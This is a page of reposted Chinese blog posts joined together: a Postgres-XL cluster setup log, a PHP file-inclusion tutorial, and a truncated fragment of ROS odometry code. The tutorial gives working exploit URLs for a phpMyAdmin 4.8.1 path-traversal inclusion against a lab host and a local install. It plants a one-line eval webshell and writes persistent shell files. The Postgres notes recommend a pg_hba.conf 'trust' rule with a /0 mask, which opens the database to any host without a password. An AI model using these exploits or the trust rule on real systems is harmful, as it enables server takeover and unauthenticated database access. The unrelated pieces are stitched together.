process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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...这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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...ue, queue_size=10)self.odom_sub = rospy.Subscriber('/firefly_sbx/vio/odom', Odometry, self.odom_cb, queue_size=10)self.path = Path()def odom_cb(self, msg):cur_pose = PoseStamped()cur_pose.header = msg.headercur_pose.pose = msg.pose.poseself.path.header = msg.headerself.path.poses.append(cur_pose)self.path_pub.publish(self.path)if __name__ == '__main__':rospy.init_node('odom_to_path')odom_to_path = OdomToPath()rospy.spin() 或者增加一个draw_path的功能包: cpp为: include <stdio.h>include <stdlib.h>include <unistd.h>include <ros/ros.h>include <ros/console.h>include <nav_msgs/Path.h>include <std_msgs/String.h>include <nav_msgs/Odometry.h>include <geometry_msgs/Quaternion.h>include <geometry_msgs/PoseStamped.h>nav_msgs::Path path;ros::Publisher path_pub;ros::Subscriber odomSub;ros::Subscriber odom_raw_Sub;void odomCallback(const nav_msgs::Odometry::ConstPtr& odom){geometry_msgs::PoseStamped this_pose_stamped;this_pose_stamped.header= odom->header;this_pose_stamped.pose = odom->pose.pose;//this_pose_stamped.pose.position.x = odom->pose.pose.position.x;//this_pose_stamped.pose.position.y = odom->pose.pose.position.y;//this_pose_stamped.pose.orientation = odom->pose.pose.orientation;//this_pose_stamped.header.stamp = ros::Time::now();//this_pose_stamped.header.frame_id = "world";//frame_id 是消息中与数据相关联的参考系id,例如在在激光数据中,frame_id对应激光数据采集的参考系 path.header= this_pose_stamped.header;path.poses.push_back(this_pose_stamped);//path.header.stamp = ros::Time::now();//path.header.frame_id= "world";path_pub.publish(path);//printf("path_pub ");//printf("odom %.3lf %.3lf\n",odom->pose.pose.position.x,odom->pose.pose.position.y);}int main (int argc, char argv){ros::init (argc, argv, "showpath");ros::NodeHandle ph;path_pub = ph.advertise<nav_msgs::Path>("/trajectory",10, true);odomSub = ph.subscribe<nav_msgs::Odometry>("/firefly_sbx/vio/odom", 10, odomCallback);//ros::Rate loop_rate(50);while (ros::ok()){ros::spinOnce(); // check for incoming messages//loop_rate.sleep();}return 0;} cmakelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> --><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone 